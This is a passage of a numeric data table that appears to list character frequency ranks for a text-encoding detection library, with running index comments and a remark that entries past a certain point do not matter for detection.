1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888
2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904
1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920
1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936
1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952
1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968
1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984
1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000
 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016
 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032
1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048
2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064
2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080
2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096
3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112
3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128
 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144
3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160
1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876,  78,2287,1482,1277, # 2176
 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192
2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208
1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224
 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240
3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256
4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272
2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288
1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304
2601,1919,1078,  75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320
1075, 292,3818,1756,2602, 317,  98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336
 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352
 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368
1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384
2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400
2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416
2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432
3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448
1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464
2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480
 359,2291,1676,  73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496
 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512
 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528
1209,  96, 587,2166,1032, 260,1072,2153, 173,  94, 226,3244, 819,2006,4642,4114, # 2544
2203, 231,1744, 782,  97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560
 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576
1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592
1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608
 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624
1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640
1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656
1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672
 764,2861,1853, 688,2429,1920,1462,  77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688
2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704
 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720
2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736
3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752
2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768
1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784
6147, 441, 762,1771,3447,3607,3608,1904, 840,3037,  86, 939,1385, 572,1370,2445, # 2800
1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816
2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832
1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848
 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864
  72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880
3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896
3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912
1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928
1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944
1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960
1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976
 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992
 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008
2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024
 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040
3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056
2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072
 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088
1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104
2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120
 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136
1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152
 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168
4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184
2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200
1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216
 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232
1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248
2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264
 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280
6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296
1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312
1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328
2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344
3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360
 914,2550,2587,  81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376
3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392
1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408
 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424
1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440
 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456
3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472
 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488
2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504
 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520
4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536
2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552
1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568
1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584
1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600
 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616
1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632
3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648
1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664
3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680
 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696
 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712
 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728
2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744
1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760
 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776
1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792
 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808
1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824
 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840
 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856
 480,2083,1774,3458, 923,2279,1350, 221,3086,  85,2233,2234,3835,1585,3010,2147, # 3872
1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888
1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904
2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920
4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936
 227,1351,1645,2453,2193,1421,2887, 812,2121, 634,  95,2435, 201,2312,4665,1646, # 3952
1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968
 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984
1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000
3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016
1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032
2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048
2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064
1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080
1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096
2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112
 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128
2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144
1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160
1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176
1279,2136,1697,2335, 204, 721,2097,3838,  90,6186,2085,2505, 191,3967, 124,2148, # 4192
1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208
3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224
2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240
2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256
 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272
3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288
3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304
1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320
2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336
1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352
2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368  #last 512
#Everything below is of no interest for detection purpose
2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384
6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400
6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416
6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432
6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448
4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464
4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480
3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496
3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512
4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528
3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544
6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560
4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576
6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592
6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608
6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624
6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640
6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656
6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672
3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688
3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704
6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720
2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736
4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752
4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768
4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784
6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800
3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816
4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832
4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848
6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864
4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880
6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896
3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912
2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928
4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944
2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960
6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976
4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992
6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008
6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024
6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040
4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056
6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072
2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088
6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104
4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120
6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136
4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152
4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168
6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184
6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200
6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216
3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232
1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248
3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264
3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280
4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296
6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312
3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328
6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344
3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360
3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376
2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392
6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408
6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424
3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440
6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456
3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472
6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488
6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504
6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520
4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536
6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552
4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568
3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584
3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600
6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616
6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632
4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648
6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664
6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680
6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696
6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712
6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728
6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744
4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760
4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776
3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792
6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808
4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824
2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840
6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856
6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872
4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888
2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904
4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920
2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936
4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952
4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968
4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984
6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000
3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016
6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032
3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048
6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064
2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080
3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096
7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112
2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128
3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144
3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160
3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176
3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192
7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208
7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224
7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240
7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256
7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272
4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288
3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304
3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320
4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336
3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352
3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368
7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384
